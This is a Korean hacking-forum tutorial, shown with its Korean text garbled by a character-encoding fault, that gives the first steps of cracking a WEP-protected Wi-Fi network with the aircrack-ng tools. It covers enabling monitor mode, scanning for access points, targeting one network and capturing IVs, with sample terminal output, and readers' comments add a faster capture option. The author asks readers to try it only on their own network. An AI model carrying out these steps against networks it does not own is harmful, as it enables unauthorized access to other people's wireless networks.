1589, 2/80 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   kjwon15
   http://kjwon15.comoj.com
   [ÀÚÀÛ] ¹«¼±·£ WEP º¸¾ÈÀ» ¶Õ¾îº¸ÀÚ.<1>

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=1422 [º¹»ç]


ÀÏ´Ü ÁÖÀÇ»çÇ× :
ÀÌ ¹æ¹ýÀ¸·Î ÀÚ½ÅÀÇ °Í¸¸ ½ÇÇèÇϽñ⸦ ¹Ù¶ø´Ï´Ù.
±×¸®°í ¾ÏÈ£°¡ º¹ÀâÇÏ¸é ¿À·¡°É¸®´Ï ÀÏ´Ü 123456789a·Î ½ÇÇèÇÕ´Ï´Ù.

Áغñ¹° :
aircrack-ng
airodump-ng
aireplay-ng
airmon-ng
(¸ðµÎ sudo apt-get install aircrack-ng ¸¦ ÅëÇØ Çѹø¿¡ ¼³Ä¡ °¡´ÉÇÕ´Ï´Ù.)

1. airmon-ng ¸¦ ÀÌ¿ëÇؼ­ ¹«¼±·£ Ä«µå¸¦ ¸ð´ÏÅ͸ðµå·Î º¯°æÇϱâ.

ÀÚ½ÅÀÇ ·£Ä«µå (Àü wlan0ÀÔ´Ï´Ù.)¸¦ ¹«¼±·£ ¸ðµå·Î º¯°æÇϱâ À§Çؼ­ ´ÙÀ½À» ÀÔ·ÂÇÕ´Ï´Ù.
airmon-ng start wlan0

±×·³ ´ÙÀ½°ú °°ÀÌ ³ª¿É´Ï´Ù.(»ç¶÷¿¡ µû¶ó Á¶±Ý¾¿Àº ´Ù¸£°Ô ³ª¿É´Ï´Ù.)
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID        Name
976        NetworkManager
1038        wpa_supplicant
1040        dhclient


Interface        Chipset                Driver

wlan0                Unknown         rt2800usb - [phy0]
                                (monitor mode enabled on mon0)

³× mon0¿¡ ¸ð´ÏÅ͸ðµå°¡ ¤§¤Ê¤¶´Ù°í Çϴ±º¿ä..

2. airodump-ng ·Î ¹«¼± AP¸¦ °Ë»öÇϱâ.

airodump-ng mon0
À» ÀÔ·ÂÇÕ´Ï´Ù.

±×·¯¸é ¸ñ·ÏÀÌ Âß ³ª¿­µË´Ï´Ù.
Àü ´ÙÀ½°ú °°ÀÌ ³ª¿À³×¿ä
CH 11 ][ Elapsed: 3 mins ][ 2010-03-04 08:33                                        
                                                                                        
BSSID              PWR  Beacons #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        
                                                                                        
00:01:36:37:38:9B   34    3     0    0   3  54e  WPA  TKIP   PSK  <length: 17>  
00:01:36:37:38:9C   33    1     0    0   3  54e  WEP  WEP         myLGNet<= ÀÌ°Ô Á¦°¡ ¶ÕÀ» °ÍÀÔ´Ï´Ù.
78:28:03:0D:83:88   37       36        0    0   4  54e  WPA  CCMP   PSK  son_wir      
                                                                                        
BSSID              STATION            PWR   Rate    Lost  Packets  Probes              
                                                                                        
00:01:36:37:38:9C  00:23:06:F5:42:05   20    0 - 1     18     1070  myLGNet            
(not associated)   00:21:6A:49:BC:1C   36    0 - 1      0        3                      
(not associated)   00:26:66:03:85:1E    0    0 - 1      0       22                      

3. airodump-ng ¸¦ ¶Ç ÀÌ¿ëÇØ IVs¼öÁýÇϱâ
´ÙÀ½°ú °°ÀÌ ÀÔ·ÂÇÕ´Ï´Ù.
airodump-ng -w <ÀúÀåÇÒ ÆÄÀϸí> --bssid <BSSID> -c <ä³Î> <µð¹ÙÀ̽º>
±×·¯¹Ç·Î Àú´Â
airodump-ng -w pass --bssid 00:01:36:37:38:9C -c 3 mon0
ÀÌ µË´Ï´Ù.
±×·¯¸é ´ÙÀ½°ú °°ÀÌ ¶å´Ï´Ù.
CH  3 ][ Elapsed: 1 min ][ 2010-03-04 08:38                                        
                                                                                        
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID    
                                                                                        
00:01:36:37:38:9C   -1   0        0        0    0 118  -1                    myLGNet  
                                                                                        
BSSID              STATION            PWR   Rate    Lost  Packets  Probes              
                                                                                        
00:01:36:37:38:9C  00:23:06:F5:42:05   14    0 - 1      0      840  

¿©±â¼­ DATAºÎºÐÀÌ 5000ÀÌ»óÀÌ µÉ ¶§±îÁö ±â´Ù¸³´Ï´Ù.

  Hit : 23382     Date : 2010/03/04 08:30



    
º°ºûÀ»´ã¾Æ Àú ¸ðµç Áغñ¹°Àº ¹éÆ®·¢ ¸®´ª½º¿¡ ÀÖÁö¿ä...

±×¸®°í airodump¿¡¼­
airodump-ng -w pass --bssid 00:01:36:37:38:9C -c 3 mon0
ÀÌ°É
airodump-ng --bssid 00:01:36:37:38:9C -c 3 --output-format ivs -w pass mon0

¿ä·¸°Ô ¹Ù²Ù½Ã¸é ivs¸¸ ÂßÂß ¸ðÀÔ´Ï´Ù
±×·¸°Ô µÇ¸é aircrack-ng °úÁ¤¿¡¼­ Á» ´õ »¡¸® Å©·¢µË´Ï´Ù.
2010/03/04  
º°ºûÀ»´ã¾Æ --output-format ÆĶó¸ÞÅÍ°¡ »ðÀÔµÇÁö ¾ÊÀ¸¸é

#dataºÎºÐÀÇ ¼öÄ¡¿Í ivsÀÇ ¼öÄ¡°¡ ÀÏÄ¡ÇÏÁö ¾Ê°Ô µË´Ï´Ù.
2010/03/04  
½È¾î ³»°¡ÇÒ²¨¾ß ¤§¤Ê¤¶ 2010/03/05  
soohosin Áý¿¡ AP°¡ ¸î°³ Àִµ¥, Çϳª¾¿ ÇغÁ¾ß°Ú¾î¿ä.
±×·±µ¥, Ubuntu ¸¸ µÇ³ª ºÁ¿ä. ÀÌ·± ...
¿ìºÐÆ® ¾¹½Ã´Ù!
2010/03/06  
Cpgroot °¨»çÇÕ´Ï´Ù. 2010/08/18  
leedoott Àú±â ¾²ÀÎ ·£Ä«µå È®ÀÎÀº ¾î¶»°Ô Çϳª¿ä...¤Ð¤Ð 2010/08/27  
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  [ÀÚÀÛ] ¹«¼±·£ WEP º¸¾ÈÀ» ¶Õ¾îº¸ÀÚ.<1>[6]     kjwon15
03/04 23381
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